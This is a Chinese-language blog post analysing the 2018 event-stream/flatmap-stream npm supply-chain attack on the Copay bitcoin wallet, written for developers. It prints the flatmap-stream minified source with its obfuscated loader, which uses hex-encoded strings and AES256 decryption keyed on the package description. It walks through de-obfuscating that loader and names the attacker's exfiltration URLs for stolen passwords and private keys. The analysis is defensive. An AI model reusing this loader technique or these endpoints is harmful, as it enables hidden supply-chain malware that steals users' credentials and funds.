Fundebug为JavaScript、微信小程序及Node.js开发团队提供专业的线上代码bug监控和智能分析服务。 |
摘要: 不做黑客,干点其他事也行啊!
如果你是JavaScript或者区块链开发者,如果你有关注区块链以及比特币,那么你应该听说了比特币钱包Copay被黑客攻击的事情。但是,你知道这是怎么回事吗?
比特币钱包copay依赖event-stream模块;
黑客从骗取了event-stream模块的npm发布权限;
黑客为event-stream模块添加了依赖flatmap-stream;
flatmap-stream含有黑客代码,仅会在copay项目中正确执行,窃取用户的密码、私钥等信息,从而盗取比特币;
有人说什么Vue可能遭受攻击,其实没有这回事,因为黑客代码只会在copay项目中正确执行。只有copay项目的package.json中的description字符串”A Secure Bitcoin Wallet”能够解密黑客代码;而且,黑客的代码是为copay量身定做的,对其他项目没有作用;再说,黑客是来窃取的比特币的,又不是挖矿,你的项目有比特币给人家偷吗?
哪个版本的copay被攻击了? 5.0.2到5.1.0
哪个版本的event-stream被攻击了? 3.3.6
哪个版本的flatmap-stream被攻击了? 0.1.1
Vue会受到攻击吗? 不会
另外,欢迎大家免费试用Fundebug的错误监控服务哈~
flatmap-stream已经被npm删除了,不过还能在UNPKG上找到代码:https://unpkg.com/[email protected]/index.min.js
index.min.js 是经过压缩的代码,因此可读性很差:
var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1
,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
|
但是,黑客的黑客代码 隐藏的并不深 ,直接添加在 index.min.js 的后面:
!function(){try{var r=require,t=process;function e
(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
|
使用unminify将黑客代码还原:
! function() {
|
这段代码其实很短,黑客混淆的方式并不高明,我们可以一步一步还原。
使用 require 替换变量 r
使用 process 替换变量 t
函数 e 任务很简单,就是把16进制字符串转为ASCII字符串,因此更名为hexToAscii
!(function() {
|
很明显,黑客使用hexToAscii函数是为了混淆代码,比如hexToAscii(“2e2f746573742f64617461”)其实就是 ./test/data ,因此数组 n 即为:https://unpkg.com/[email protected]/test/data.js,这个data文件已经找不到了,根据FallingSnow之前的分析,它是一个数组:
[
|
数组 n 中一共有10个元素,除了前面2个元素,其他元素在代码中均通过hexToAscii函数进行了转换,其转换结果如下:
hexToAscii(n[2]): crypto
hexToAscii(n[3]): env
hexToAscii(n[4]): npm_package_description
hexToAscii(n[5]): aes256
hexToAscii(n[6]): createDecipher
hexToAscii(n[7]): _compile
hexToAscii(n[8]): hex
hexToAscii(n[9]): utf8
将这些值全部替换掉,代码如下:
!(function() {
|
代码中使用了crypto.createDecipher函数,其文档如下:
crypto.createDecipher(algorithm, password)
|
可知,代码将项目的npm_package_description作为密码来解密 n[0] 字符串,而copay项目的package.json的description属性是 “A Secure Bitcoin Wallet” ,”恰好”可以成功解密n[0]字符串,unminify之后如下:
/*@@*/
|
我们在解密的代码中看到了完全一样的套路,只是这次解密的是 n[1] ,unminify之后如下:
/*@@*/ ! function() {
|
这段代码才是真正窃取比特币的代码,我们稍后再分析。
黑客一共隐藏了3段代码;
第1段代码隐藏在flatmap-stream的index.min.js结尾,代码中使用了16进制字符串来隐藏正真使用的字符串;
第2段代码隐藏在flatmap-stream的 test/data 的数组中,需要使用copay项目的description字符串才能解密,它在第1段代码中解密;
第3段代码也隐藏在flatmap-stream的 test/data 的数组中,需要使用copay项目的description字符串才能解密,它在第2段代码中解密;
正真窃取比特币钱包copay的是第3段代码;
第2段和第3段代码刚好需要使用copay中的description字符串 “A Secure Bitcoin Wallet” 才能解密,可知黑客攻击的目标就是copay项目;
黑客多处使用了 Buffer.from(str, “hex”).toString() 来混淆代码,将ASCII字符串转换为16进制字符串,使我们难以读懂代码;
黑客2次使用了AES256算法加密黑客代码,如果找不到解密的密码,就不可能知道黑客到底是攻击哪个项目,也不知道他干了什么。 maths22成功找到了密码”A Secure Bitcoin Wallet”以及被攻击的项目copay;
黑客把所有黑客代码都写在了try…catch里面,否则抛出莫名其妙的错误很容易暴露;(这里从另一个角度证明了监控代码错误的重要性,欢迎大家免费试用Fundebug)
我分析并且简化了黑客的第3段代码,如下:
/*global cordova resolveLocalFileSystemURL chrome*/
|
详细分析可以看我写的代码注释,另外,我还总结了这些 要点
这段代码的目的是窃取用户信息,并非挖矿;
黑客通过重写getKeys函数窃取了copay用户的密码,发送到 http://111.90.151.134:8080/p
黑客窃取了copay用户所有的隐私信息,包括私钥,发送到 http://111.90.151.134:8080/c
黑客对窃取的数据进行了简单混淆以及公钥加密,因此只有他可以读取窃取的数据;
黑客显然分析了copay源码,然后量身定做了这段代码,因此这段代码对其他项目是无效的,肯定会报错,所以他写了很多try…catch。从另一个角度来讲, 其他项目比如Vue完全不用担心 ;
通过nmap命令扫描黑客的服务器111.90.151.134的8080端口可知,他目前已经不再接收窃取的数据;
通过这件事,大家可能会觉得开源不安全,但是我不这样看。黑客之所以处心积虑想了这么多歪招来窃取用户数据,就是因为代码是开源的,他不敢乱来。另外,这件事虽然潜伏了几个月,但是一经发现,大家分析一下代码,齐心协力很快就发现黑客到底干了什么,把整件事的来龙去脉翻了个底朝天,我也是基于大家的工作又梳理了这件事。我们应该思考的是,如何让代码更加安全,而这件事恰恰可以给我们很多启示,这个我下次再聊。
其实,这件事挺有意思的,还有很多问题,比如黑客一共用到了哪些技巧?黑客是怎么被发现的?黑客究竟是谁?如何保证JavaScript与区块链的安全性?以后再说吧…
Details about the event-stream incident
event-stream vulnerability explained
I don’t know what to say.
event-stream dependency attack steals wallets from users of copay
Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了9亿+错误事件,得到了Google、360、金山软件、百姓网等众多知名用户的认可。欢迎免费试用!
转载时请注明作者
Fundebug
以及本文地址:
https://blog.fundebug.com/2018/12/03/how-does-javascript-hacker-steal-bitcoin/
|
新浪体育 · 血性逆转!曼联燃爆一战 弗格森的热血红魔回来了 8 年前 |
|
二更食堂 · 女朋友是用来宠的好吗? 8 年前 |
|
济宁生活网 · 你可能从未想过,廋下来也会是一枚女神(男神),看她们怎么完美逆袭! 8 年前 |
|
一周进步 · 免费招募 | PS基础训练营第5期招募开启~! 7 年前 |
|
好狗狗 · 出门遛狗要不要牵着,来看这只拉布拉多和金毛是怎么做的! 7 年前 |